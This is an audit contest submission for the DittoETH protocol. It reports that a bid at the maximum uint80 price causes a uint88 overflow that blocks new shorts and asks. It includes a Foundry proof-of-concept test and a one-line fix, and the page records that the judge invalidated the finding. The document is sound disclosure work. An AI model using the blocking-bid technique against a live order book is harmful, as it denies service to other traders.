DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

High Bid Price can block short/ask creation

schnilch

Summary

The price of a bid can be at most the maximum value of a uint80 and can be chosen by the bidder. When creating the bid, the price is multiplied by the ercAmount and stored in a uint256. If the bid is not matched at the time of creation, it goes onto the order book and waits for an Ask or a Short to match it. When a Short/Ask is created that matches the Bid, the ercAmount and the price of the Bid are multiplied again, but this time, they are stored in a uint88. It is possible that the result of this multiplication is greater than a uint88, which can lead to a revert, preventing the creation of the incoming Short/Ask.

Bids are sorted so that those with the highest price come first. If someone creates a bid with a very high price that goes into the order book, then the ercAmount of a new short/ask order can be at most such that the ercAmount multiplied by the price of the highest bid still fits into a uint88. This means that the maximum ercAmount that can be placed in a sell order depends on the highest Bid Price.

An attacker can now create a bid with the highest possible price. Therefore, a short/ask that is created must have an ercAmount of less than 1 ETH, as otherwise, the ercAmount multiplied by the bid price would be greater than a uint88, causing the short/ask creation to revert. Asks/Shorts have a minAskEth amount, so the ercAmount multiplied by the specified price must be greater than minAskEth. MinAskEth can be at most 0.255 ether. For shorts, there is an additional minShortErc, which checks that the ercAmount is high enough for a short. This can be at most the maximum value of a uint16.

It can be concluded that if a bid with the highest possible price is created, the only possible shorts/asks ercAmount must be less than 1 ETH and greater than minAskEth, and for a short, the ercAmount must also be greater than minShortErc.
Additionally if minShortErc is now greater than 1 ether, no shorts can be created.
This is the line where the error is thrown when the price of the highest bid is multiplied by the ercAmount during matching:

//contracts/libraries/LibOrders#matchHighestBid
796: uint88 fillEth = highestBid.price.mulU88(fillErc);

Vulnerability Details

Here is a PoC that shows the short creation reverts when a bid with the highest price exists, and minShortErc is used as the ercAmount for the short:

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;
​
import {Errors} from "contracts/libraries/Errors.sol";
import {Events} from "contracts/libraries/Events.sol";
import {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";
import {Constants} from "contracts/libraries/Constants.sol";
​
import {OBFixture} from "test/utils/OBFixture.sol";
import "forge-std/Vm.sol";
import {U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {IAsset as IERC20} from "interfaces/IAsset.sol";
​
contract POC is OBFixture {
using U88 for uint88;
using U80 for uint80;
​
function setUp() public override {
super.setUp();
}
​
function testPOC() public {
MTypes.OrderHint[] memory orderHintArray;
uint16[] memory shortHintArray;
​
//Bid
uint80 bidPrice = type(uint80).max; //Maximum possible price
uint88 bidErcAmount = 1.1 ether;
uint256 bidEth = bidErcAmount.mul(bidPrice); //ETH to deposit for the bid
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
​
deal(extra, bidEth); //Bid creator receives eth to deposit
vm.startPrank(extra);
diamond.depositEth{value: bidEth}(address(bridgeReth)); //Bid creator deposits eth
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray); //Since there is nothing else on the order book, this bid is simply added to it
vm.stopPrank();
​
//Short
uint80 shortPrice = 0.0025 ether;
uint88 shortErcAmount = 2000 ether; //minShortErc is 2000 ether
uint256 shortEth = uint256(shortErcAmount.mul(shortPrice) * 5); //Eth that the shorter must deposit. *5 to make it overcollateralized
​
orderHintArray = diamond.getHintArray(asset, shortPrice, O.LimitShort);
shortHintArray = setShortHintArray();
​
​
vm.deal(sender, shortEth); //Shorter receives eth to deposit
vm.startPrank(sender);
diamond.depositEth{value: shortEth}(_bridgeReth); //Eth is deposited on the bridge
​
bytes4 errorSelector = bytes4(keccak256("InvalidPrice()")); //This is the error that PRBMathHelper.sol throws when ercAmount multiplied by the highest Bid Price is greater than uint88
vm.expectRevert(abi.encodeWithSelector(errorSelector));
diamond.createLimitShort(asset, shortPrice, shortErcAmount, orderHintArray, shortHintArray, 500); //Short is created and gives an error because the value is greater than uint88
vm.stopPrank();
}
}

The POC can be placed in the test folder and executed with this command: forge test --match-test testPOC -vv

Impact

The impact is, as described above, that the highest possible ercAmount from a Short/Ask depends on the highest Bid Price. This results in Asks can only created with a limited ercAmount, and shorts can not being created if minShortErc is higher than 1 ether. Nevertheless, in my opinion, the severity is only low. To create such a high bid, one must first possess enough ETH to deposit it.

Tools Used

VSCode, Foundry

Recommendations

The value that results from the multiplication of the highest Bid Price and the ercAmount should be stored in a uint256:

//contracts/libraries/LibOrders#matchHighestBid
- 796: uint88 fillEth = highestBid.price.mulU88(fillErc);
+ 796: uint256 fillEth = highestBid.price.mulU88(fillErc);
Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.